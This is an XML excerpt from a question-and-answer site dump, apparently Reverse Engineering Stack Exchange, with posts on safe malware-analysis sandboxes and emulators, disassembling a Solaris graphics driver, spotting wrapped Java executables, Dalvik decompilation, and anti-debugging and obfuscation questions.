  <row Id="25" PostTypeId="2" ParentId="23" CreationDate="2013-03-19T22:26:49.153" Score="24" Body="&lt;p&gt;&lt;a href=&quot;http://bochs.sourceforge.net/&quot;&gt;Bochs&lt;/a&gt; if you don't need speed but lots of flexibility. You can use &lt;a href=&quot;http://bochs.sourceforge.net/doc/docbook/user/debugging-with-gdb.html&quot;&gt;Bochs with GDB&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.qemu.org/Main_Page&quot;&gt;Qemu&lt;/a&gt; if you need more speed and less flexibility (it does dynamic translation so you gain bit of speed but lose the acutal sequence of the instructions) possibly  a bit less safe than bochs. Its similar to Vmware and virtualbox actually derives from it. You can use &lt;a href=&quot;http://wiki.osdev.org/GDB&quot;&gt;GDB with Qemu&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Xen a friend of mine is quite confident in the Xen hypervisor as long as you set it up correctly which means using a serial loopback for configuration and other complex setup. However it would be very fast but still isolated and from what I understand it would garrantee your security as long as you controled the serial connection. Still Bochs is probably safest. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also while not an emulator/virtualization solution debuggers like &lt;a href=&quot;http://en.wikipedia.org/wiki/SoftICE&quot;&gt;SoftICE&lt;/a&gt; might be useful even though many softwares now detect and circumvent it.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2013-03-19T22:37:19.150" LastActivityDate="2013-03-19T22:37:19.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26" PostTypeId="2" ParentId="11" CreationDate="2013-03-19T22:35:48.543" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Does knowing the compiler used to generate an application help me to more effectively reverse engineer back from the generated object to what the source code might have been, and if it does help, how so?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, it should help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even better:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the exact compiler version;&lt;/li&gt;&#xA;&lt;li&gt;the exact command line parameters;&lt;/li&gt;&#xA;&lt;li&gt;the build environment (OS, patch level, ...).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The idea is to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;build test cases for a lot of different cases (small little programs) that showcase different structures and compiling them;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;look at the resulting machine code (noticing patterns).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A lot of these cases could be generalized over the major version of the compiler (&lt;code&gt;if&lt;/code&gt; and other control structures, basic language functions, ...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible that there are some compiler-specific optimizations that differ a lot for the same program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I wonder if there are test case libraries for common/useful cases to aid reverse engineering of the machine code that a specific compiler generates.)&lt;/p&gt;&#xA;" OwnerUserId="127" LastEditorUserId="245" LastEditDate="2013-04-17T05:17:52.307" LastActivityDate="2013-04-17T05:17:52.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27" PostTypeId="1" AcceptedAnswerId="29" CreationDate="2013-03-19T22:51:02.077" Score="9" ViewCount="568" Body="&lt;p&gt;I have several Solaris 2.6 era drivers I would like to reverse engineer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Sparc disassembler which provides some info but it isn't maintained anymore so I think it may not give me all the information possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The drivers are for an Sbus graphics accelerator I own. Namely the &lt;a href=&quot;http://www.hyperstation.de/SBus-Framebuffer/SUN_Leo_ZX/sun_leo_zx.html&quot; rel=&quot;nofollow&quot;&gt;ZX aka Leo&lt;/a&gt; one of the early 3d accelerators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what are some ways I can go about reverse engineering this driver? I can disassemble it but I am not sure what to make of the output. I also have Solaris of course so perhaps there are things I can do there as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final goal is to have enough information to design a driver for an Operating System. There are drivers for NetBSD, although incomplete as the hardware documentation that does exist (isn't free to access) does not have the Window ID encoding as it is missing. Also, since the hardware uses an Sbus interface on a double wide &lt;a href=&quot;http://en.wikipedia.org/wiki/PCI_Mezzanine_Card&quot; rel=&quot;nofollow&quot;&gt;mezzanine card&lt;/a&gt;, it would be impractical to use it on anything but a SparcStation or early UltraSparc machine.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="189" LastEditDate="2013-05-15T02:05:15.150" LastActivityDate="2013-05-15T02:05:15.150" Title="Reverse engineering a Solaris driver" Tags="|sparc|solaris|driver|sbus|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="28" PostTypeId="2" ParentId="4" CreationDate="2013-03-19T23:45:14.603" Score="9" Body="&lt;p&gt;I try to look for situations where a pointer to a chunk of data is passed into a function, then when it's used in that function, different offsets from it are treated as different data types. That indicates to me that 1) it's not an array of a single data type, and 2) it's being referenced from a base address rather than being passed as a separate parameter. It also helps when you see it being allocated dynamically (malloc or new) then being filled in with data of various types. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In IDA, I always advise my students to go ahead and create the IDA structs for things they suspect to be structures, and fill them in with elements as they see them being referenced, even if they later turn out to be wrong/misled. It's very much an iterative process, filling it in with more detail as you gain more understanding about the program and how it uses that data as you go, so it's important to mark up things you figure out as you figure them out.&lt;/p&gt;&#xA;" OwnerUserId="31" LastActivityDate="2013-03-19T23:45:14.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29" PostTypeId="2" ParentId="27" CreationDate="2013-03-20T00:03:38.480" Score="11" Body="&lt;p&gt;Well, since it's a Solaris driver, first you need to find up some docs on how Solaris drivers communicate with the kernel (or kernel with them). A quick search turned up &lt;a href=&quot;http://docs.oracle.com/cd/E19455-01/806-0638/6j9vrvct2/index.html&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;_init()&lt;/code&gt; initializes a loadable module. It is called before any other routine in a loadable module. &lt;code&gt;_init()&lt;/code&gt; returns the value returned by&#xA;  &lt;code&gt;mod_install(9F)&lt;/code&gt; . The module may optionally perform some other work&#xA;  before the &lt;code&gt;mod_install(9F)&lt;/code&gt; call is performed. If the module has done&#xA;  some setup before the &lt;code&gt;mod_install(9F)&lt;/code&gt; function is called, then it&#xA;  should be prepared to undo that setup if &lt;code&gt;mod_install(9F)&lt;/code&gt; returns an&#xA;  error.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;_info()&lt;/code&gt; returns information about a loadable module. &lt;code&gt;_info()&lt;/code&gt; returns the value returned by &lt;code&gt;mod_info(9F)&lt;/code&gt;. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;_fini()&lt;/code&gt; prepares a loadable module for unloading. It is called when the system wants to unload a module. If the module determines that it&#xA;  can be unloaded, then &lt;code&gt;_fini()&lt;/code&gt; returns the value returned by&#xA;  &lt;code&gt;mod_remove(9F)&lt;/code&gt;. Upon successful return from &lt;code&gt;_fini()&lt;/code&gt; no other routine&#xA;  in the module will be called before &lt;code&gt;_init()&lt;/code&gt; is called.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There's a nice code sample below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.oracle.com/cd/E18752_01/html/816-4855/config12-9.html&quot; rel=&quot;nofollow&quot;&gt;This guide&lt;/a&gt; also seems relevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you found the entry points, it's just a matter of following the calls and pointers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how it looks in IDA:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00000000 _init:                                  ! DATA XREF: leo_attach+5A8o&#xA;.text:00000000                                         ! leo_attach+5BCo ...&#xA;.text:00000000                 save    %sp, -0x60, %sp&#xA;.text:00000004                 sethi   %hi(leo_debug), %i2&#xA;.text:00000008                 ld      [leo_debug], %o0&#xA;.text:0000000C                 cmp     %o0, 4&#xA;.text:00000010                 bl      loc_38&#xA;.text:00000014                 sethi   %hi(leo_state), %o0&#xA;.text:00000018                 set     aLeoCompiledSS, %o0 ! &quot;leo: compiled %s, %s\n&quot;&#xA;.text:00000020                 set     a141746, %o1    ! &quot;14:17:46&quot;&#xA;.text:00000028                 sethi   %hi(aLeo_c6_6Jun251), %l0 ! &quot;leo.c 6.6 Jun 25 1997 14:17:46&quot;&#xA;.text:0000002C                 call    leo_printf&#xA;.text:00000030                 set     aJun251997, %o2 ! &quot;Jun 25 1997&quot;&#xA;.text:00000034                 sethi   %hi(leo_state), %o0&#xA;.text:00000038&#xA;.text:00000038 loc_38:                                 ! CODE XREF: _init+10j&#xA;.text:00000038                 set     leo_state, %i1&#xA;.text:0000003C                 sethi   %hi(0x1800), %l0&#xA;.text:00000040                 mov     %i1, %o0&#xA;.text:00000044                 set     0x1980, %o1&#xA;.text:00000048                 call    ddi_soft_state_init&#xA;.text:0000004C                 mov     1, %o2&#xA;.text:00000050                 orcc    %g0, %o0, %i0&#xA;.text:00000054                 bne,a   loc_80&#xA;.text:00000058                 ld      [%i2+(leo_debug &amp;amp; 0x3FF)], %o0&#xA;.text:0000005C                 sethi   %hi(0x14C00), %l0&#xA;.text:00000060                 call    mod_install&#xA;.text:00000064                 set     modlinkage, %o0&#xA;.text:00000068                 orcc    %g0, %o0, %i0&#xA;.text:0000006C                 be,a    loc_80&#xA;.text:00000070                 ld      [%i2+(leo_debug &amp;amp; 0x3FF)], %o0&#xA;.text:00000074                 call    ddi_soft_state_fini&#xA;.text:00000078                 mov     %i1, %o0&#xA;.text:0000007C                 ld      [%i2+(leo_debug &amp;amp; 0x3FF)], %o0&#xA;.text:00000080&#xA;.text:00000080 loc_80:                                 ! CODE XREF: _init+54j&#xA;.text:00000080                                         ! _init+6Cj&#xA;.text:00000080                 cmp     %o0, 4&#xA;.text:00000084                 bl      locret_9C&#xA;.text:00000088                 nop&#xA;.text:0000008C                 set     aLeo_initDoneRe, %o0 ! &quot;leo: _init done, return(%d)\n&quot;&#xA;.text:00000094                 call    leo_printf&#xA;.text:00000098                 mov     %i0, %o1&#xA;.text:0000009C&#xA;.text:0000009C locret_9C:                              ! CODE XREF: _init+84j&#xA;.text:0000009C                 ret&#xA;.text:000000A0                 restore&#xA;.text:000000A0 ! End of function _init&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At 0x60 you can see &lt;code&gt;mod_install&lt;/code&gt; being called with a pointer to &lt;code&gt;modlinkage&lt;/code&gt;, so you can follow there and see what the fields are pointing to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you don't even have to do that all the time. In this case, the programmers very thoughtfully left intact all the symbols and debug output. This should help you in your work :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on situation, you may skip straight to the helpfully-named functions like &lt;code&gt;leo_blit_sync_start&lt;/code&gt; or &lt;code&gt;leo_init_ramdac&lt;/code&gt;. I personally prefer the first way, top-down, but to each his own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: one rather simple thing you can do is to patch the &lt;code&gt;leo_debug&lt;/code&gt; variable at the start of &lt;code&gt;.data&lt;/code&gt; section to 5 or so. That should produce a lot of debug output about the operations the driver is performing.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2013-03-20T15:34:24.603" LastActivityDate="2013-03-20T15:34:24.603" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30" PostTypeId="2" ParentId="23" CreationDate="2013-03-20T00:41:02.553" Score="68" Body="&lt;p&gt;The title mentions &quot;sandbox&quot; but VMWare or QEMU is usually not called that, so the question seems to be more about &quot;how do I analyze it without a danger of infection?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are three broad categories of tools and approaches you could take here.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;1. User-mode sandboxes&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;A user-mode sandbox basically runs the sample being investigated but intercepts all or at least the most critical APIs that access the host OS, neutralizes them and modifies the results to fool the software into thinking it's running all alone. One of the most popular such tools seems to be &lt;a href=&quot;http://www.sandboxie.com/&quot;&gt;Sandboxie&lt;/a&gt;, but there exist others such as &lt;a href=&quot;http://code.google.com/p/pyboxed/&quot;&gt;PyBox&lt;/a&gt;. Usually can be detected by the malware pretty easily and there's always a danger that an unemulated API will let the code to run amok.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;2. Virtual machines and emulators&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;These go a bit deeper and try to emulate not only APIs but execution of the actual code. As well, usually you need to run a full OS inside the emulator and can't use the host OS as is (could be an advantage or disadvantage depending on your goals). These can be further subdivided in three categories by approach used for emulation:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;a)  virtualization&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;These include VMWare, VirtualBox and VirtualPC. They use virtualization features of the recent processors to run most of the code natively and only emulate memory or hardware accesses. This makes them fast but in theory can lead to code escaping the VM in case of implementation bugs.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;b) dynamic translation&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This approach is used by QEMU. It translates each basic block into a sequence of native CPU's instructions and executes that. This approach allows it to reasonably fast emulate many different architectures, however the timing may differ quite a lot from the original. I don't think I've heard of any VM escaping bugs but it's possible to detect it.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;c) full emulation&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This is used by Bochs. It fully emulates each separate instruction one by one, as they're being executed. This makes it somewhat slower than other solutions but allows it to achieve almost perfect emulation of even the most low-level details. It's also probably the safest regarding to VM escaping bugs. There were some implementation bugs that could be used to detect it but I think most of them have been fixed.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;3. Static analysis&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The best way to avoid the break out is to not run the code at all! Also, static analysis allows you to look at the complete code of the binary and see all of it, even the code paths which are not taken by running it and you sidestep all runtime checks and detections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, static analysis can be hampered by packing or obfuscation used in the malware. So it's often necessary to combine several approaches. I'm not a professional analyst, but I do dabble in some malware analysis. My workflow usually goes like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open sample in IDA.&lt;/li&gt;&#xA;&lt;li&gt;if it looks packed or encrypted, use &lt;a href=&quot;https://hex-rays.com/video/bochs_video_1.html&quot;&gt;Bochs debugger&lt;/a&gt; to emulate its execution and let it unpack itself. &lt;/li&gt;&#xA;&lt;li&gt;When it's finished (usually it's obvious), I take a memory snapshot, stop debugging, and continue analysis statically.&lt;/li&gt;&#xA;&lt;li&gt;If the unpacked code contains another embedded file (pretty common situation), saved it into a separate file and go to step 1&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-03-20T00:41:02.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31" PostTypeId="2" ParentId="23" CreationDate="2013-03-20T00:59:30.650" Score="16" Body="&lt;p&gt;Gilles provided some great links and I want to discuss the use a virtual machines for malware analysis a bit more. While a VM breakout certainly is a possibility, I have yet to come across  such a case or even heard about one and I assume this would make some buzz should someone find one. To be safe, simply run your VM software on an isolated computer and network like you would when using a debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I encourage you to try &lt;a href=&quot;http://www.cuckoosandbox.org/about.html&quot;&gt;Cuckoo Sandbox&lt;/a&gt;. It automates the process of running the malware in a VM (VMware, VirtualBox &amp;amp; KVM are supported) and extract data such as modified files, memory dumps or network traffic. It even supports API tracing via DLL injection which is pretty neat.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-20T00:59:30.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32" PostTypeId="5" CreationDate="2013-03-20T01:36:18.273" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-03-20T01:36:18.273" LastActivityDate="2013-03-20T01:36:18.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33" PostTypeId="4" CreationDate="2013-03-20T01:36:18.273" Score="0" Body="recommending concepts of right and wrong behavior such as code of conduct, honourable behaviours and virtues" OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-03-21T15:16:56.603" LastActivityDate="2013-03-21T15:16:56.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34" PostTypeId="1" AcceptedAnswerId="54" CreationDate="2013-03-20T01:43:12.077" Score="18" ViewCount="15006" Body="&lt;p&gt;Let's say I have a .jar file and wrap it into a .exe using any number of free utilities out there, like &lt;a href=&quot;http://jsmooth.sourceforge.net/&quot;&gt;JSmooth&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be possible to tell, given just the .exe, if it was generated using one such utility from a .jar file?&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="188" LastEditDate="2013-04-02T21:18:03.693" LastActivityDate="2013-04-02T23:21:09.390" Title="Checking if an .exe is actually a .jar wrapped in an .exe" Tags="|decompilation|java|jar|pe|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35" PostTypeId="5" CreationDate="2013-03-20T01:43:48.703" Score="0" Body="&lt;p&gt;A JAR file allows Java runtimes to efficiently deploy a set of classes and their associated resources. The elements in a JAR file can be compressed, which, together with the ability to download an entire application in a single request, makes downloading a JAR file much faster than separately downloading the many uncompressed files which would form a single Java Application. The package java.util.jar contains classes that read and write JAR files.&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-03-21T15:16:00.680" LastActivityDate="2013-03-21T15:16:00.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36" PostTypeId="4" CreationDate="2013-03-20T01:43:48.703" Score="0" Body="A JAR file allows Java runtimes to efficiently deploy a set of classes and their associated resources. The elements in a JAR file can be compressed, which, together with the ability to download an entire application in a single request, makes downloading a JAR file much faster than separately downloading the many uncompressed files which would form a single Java Application. The package java.util.jar contains classes that read and write JAR files." OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-03-21T15:15:55.740" LastActivityDate="2013-03-21T15:15:55.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37" PostTypeId="5" CreationDate="2013-03-20T01:50:05.350" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Assembly_language&quot; rel=&quot;nofollow&quot;&gt;Assembly&lt;/a&gt; is a family of very low-level programming languages, just above machine code. In assembly, each statement corresponds to a single machine code instruction.  These instructions are converted into executable machine code by a utility program referred to as an [assembler][1]; the conversion process is referred to as &lt;em&gt;assembly&lt;/em&gt;, or &lt;em&gt;assembling&lt;/em&gt; the code.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Language design&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Basic elements&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a large degree of diversity in the way that assemblers categorize statements and in the nomenclature that they use. In particular, some describe anything other than a machine mnemonic or extended mnemonic as a pseudo-operation (pseudo-op). A typical assembly language consists of three types of instruction statements that are used to define program operations:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;[Opcode][2] mnemonics&lt;/li&gt;&#xA;&lt;li&gt;Data sections&lt;/li&gt;&#xA;&lt;li&gt;Assembly directives&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Opcode mnemonics and extended mnemonics&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instructions (statements) in assembly language are generally very simple, unlike those in [high-level language][3]. Generally, a mnemonic is a symbolic name for a single executable machine language instruction (an opcode), and there is at least one opcode mnemonic defined for each machine language instruction. Each instruction typically consists of an operation or opcode plus zero or more [operands][4]. Most instructions refer to a single value, or a pair of values. Operands can be immediate (value coded in the instruction itself), registers specified in the instruction or implied, or the addresses of data located elsewhere in storage. This is determined by the underlying processor architecture: the assembler merely reflects how this architecture works. Extended mnemonics are often used to specify a combination of an opcode with a specific operand. For example, the System/360 assemblers use &lt;code&gt;B&lt;/code&gt; as an extended mnemonic for &lt;code&gt;BC&lt;/code&gt; with a mask of 15 and &lt;code&gt;NOP&lt;/code&gt; for &lt;code&gt;BC&lt;/code&gt; with a mask of 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extended mnemonics are often used to support specialized uses of instructions, often for purposes not obvious from the instruction name. For example, many CPU's do not have an explicit &lt;code&gt;NOP&lt;/code&gt; instruction, but do have instructions that can be used for the purpose. In 8086 CPUs the instruction &lt;code&gt;xchg ax,ax&lt;/code&gt; is used for &lt;code&gt;nop&lt;/code&gt;, with &lt;code&gt;nop&lt;/code&gt; being a pseudo-opcode to encode the instruction &lt;code&gt;xchg ax,ax&lt;/code&gt;. Some disassemblers recognize this and will decode the &lt;code&gt;xchg ax,ax&lt;/code&gt; instruction as &lt;code&gt;nop&lt;/code&gt;. Similarly, IBM assemblers for System/360 and System/370 use the extended mnemonics &lt;code&gt;NOP&lt;/code&gt; and &lt;code&gt;NOPR&lt;/code&gt; for &lt;code&gt;BC&lt;/code&gt; and &lt;code&gt;BCR&lt;/code&gt; with zero masks. For the SPARC architecture, these are known as synthetic instructions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some assemblers also support simple built-in macro-instructions that generate two or more machine instructions. For instance, with some Z80 assemblers the instruction &lt;code&gt;ld hl,bc&lt;/code&gt; is recognized to generate &lt;code&gt;ld l,c&lt;/code&gt; followed by &lt;code&gt;ld h,b&lt;/code&gt;. These are sometimes known as pseudo-opcodes.&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-03-21T15:16:27.557" LastActivityDate="2013-03-21T15:16:27.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38" PostTypeId="4" CreationDate="2013-03-20T01:50:05.350" Score="0" Body="A family of very low-level programming languages, just above machine code, where each statement corresponds to a single machine code instruction." OwnerUserId="151" LastEditorUserId="53" LastEditDate="2013-12-17T08:56:21.203" LastActivityDate="2013-12-17T08:56:21.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39" PostTypeId="2" ParentId="5" CreationDate="2013-03-20T02:14:40.980" Score="7" Body="&lt;p&gt;A lot of people have mentioned the Intel manuals, which are an invaluable reference, but quite hefty. I'd suggest looking at &lt;a href=&quot;https://wiki.osdev.org/X86-64_Instruction_Encoding#General_Overview&quot; rel=&quot;nofollow noreferrer&quot;&gt;this OSDev wiki page&lt;/a&gt; to get an idea of how the instructions are encoded on a simpler level.&lt;/p&gt;&#xA;&lt;p&gt;For all practical instruction-length-finding problems, I would advise using a disassembler.&lt;/p&gt;&#xA;&lt;p&gt;Function hooking is an interesting challenge. &lt;a href=&quot;https://devblogs.microsoft.com/oldnewthing/20110921-00/?p=9583&quot; rel=&quot;nofollow noreferrer&quot;&gt;This MSDN blog&lt;/a&gt; explains some of the difficulties well. Depending the requirements, it might be preferable to use the operating system's debugging functionality to attach to the process, &amp;quot;break&amp;quot; on functions, and implement your hook in a separate process.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="13506" LastEditDate="2022-07-19T02:03:53.573" LastActivityDate="2022-07-19T02:03:53.573" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="40" PostTypeId="2" ParentId="34" CreationDate="2013-03-20T02:38:45.703" Score="5" Body="&lt;p&gt;The exe is probably just a small add-on that will execute the java interpreter on a set of packed classes. I don't know more details about how they go about their job, but there's big chance that the jar file sits unmodified inside the generated exe&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could take a look at the generated files with a hex viewer and there's a high chance you'll find a jar signature (to find out create a small jar file, look at it with a hex viewer, pack it and search for specific content from the original jar in the packed file)&lt;/p&gt;&#xA;" OwnerUserId="162" LastActivityDate="2013-03-20T02:38:45.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41" PostTypeId="1" CreationDate="2013-03-20T03:34:46.090" Score="7" ViewCount="259" Body="&lt;p&gt;I recently found a plastic box with various dials and unknown sockets on it, in my Grandfather's attic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is around 12&quot;x8&quot;x4&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the plastic, it appears to be of 1980's vintage. I asked around, and no one knows what it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What safety precautions do I need to follow while opening it up?&lt;/p&gt;&#xA;" OwnerUserId="167" LastActivityDate="2013-04-17T05:03:17.333" Title="What safety steps are to be followed when opening up an unknown piece of hardware?" Tags="|hardware|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42" PostTypeId="1" AcceptedAnswerId="46" CreationDate="2013-03-20T09:02:41.433" Score="30" ViewCount="13025" Body="&lt;p&gt;The Android java code is compiled into Dalvik byte code, which is quite readable. I wonder, is it possible in theory and in practice to write a decompilation software for Dalvik byte code?&lt;/p&gt;&#xA;" OwnerUserId="35" LastEditorUserId="70" LastEditDate="2013-04-10T11:14:10.830" LastActivityDate="2015-02-23T09:35:19.093" Title="Decompiling Android application" Tags="|decompilation|java|android|byte-code|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43" PostTypeId="1" AcceptedAnswerId="93" CreationDate="2013-03-20T09:13:52.113" Score="22" ViewCount="5788" Body="&lt;p&gt;I am trying to scan all possible techniques to disrupt the usage of a debugger on a Unix platform (ie POSIX and a bit more).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinking about techniques such as the &lt;code&gt;PTRACE&lt;/code&gt; test at the beginning of a program (or at various points of its execution), the insertion of fake breakpoints (eg &lt;code&gt;int3&lt;/code&gt;/&lt;code&gt;0xcc&lt;/code&gt; x86 opcode) or time checks. But, also global strategies defined on the program to slow down the analysis of the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now, all the techniques I found on Internet were easily worked around as soon as the anti-debug technique has been understood. So, I wonder if there are stronger ones.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-06-05T13:04:19.373" LastActivityDate="2023-05-12T13:33:24.323" Title="Anti-debug techniques on Unix platforms?" Tags="|assembly|obfuscation|anti-debugging|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="44" PostTypeId="2" ParentId="42" CreationDate="2013-03-20T09:26:34.863" Score="7" Body="&lt;p&gt;I think it should be possible even with current Java decompilers, by patching their code. They have at least one big difference - while JVM is stack-based, Dalvik is register-based. This difference could be handled with not so much code. Second difference - bytecode format. So you need use code, which is able to disassemble Dalvik bytecode format.&lt;/p&gt;&#xA;" OwnerUserId="38" LastEditorUserId="245" LastEditDate="2013-04-17T04:57:52.433" LastActivityDate="2013-04-17T04:57:52.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="45" PostTypeId="1" AcceptedAnswerId="52" CreationDate="2013-03-20T09:35:01.860" Score="10" ViewCount="568" Body="&lt;p&gt;FHE (Fully Homomorphic Encryption) is a cryptographic encryption schema in which it is possible to perform arithmetic operations on the ciphered text without deciphering it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though there is no really efficient crypto-system with this property at this time, several proofs of concepts show that this kind of cryptography does actually exist. And, that, maybe one day, we might find an efficient crypto-system with the FHE properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now, the usage of FHE is mainly directed towards &quot;Cloud Computing&quot; where one want to delegate a costly computation to a remote computer without spreading his data away. So, the principle is just to send out encrypted data and the Cloud will apply a given computation on the data and send back the encrypted answer without having knowledge of what is inside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link with code obfuscation is quite obvious as if we can perfectly obfuscate data, then we can also perfectly obfuscate the algorithm by coding it into a universal Turing machine. But, the Devil is always in the details. A recent paper [&lt;a href=&quot;http://eprint.iacr.org/2011/675&quot;&gt;1&lt;/a&gt;] presents a way to use the FHE for obfuscation, but in a too stronger way (in my humble opinion).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is the following: Suppose we have an efficient FHE schema, suppose also that our goal is to slow down the analysis of a program (and not totally prevent it). Then, what would be the most efficient usage of the FHE in obfuscation ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2016-05-11T12:06:45.937" Title="Usage of FHE in obfuscation?" Tags="|obfuscation|cryptography|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
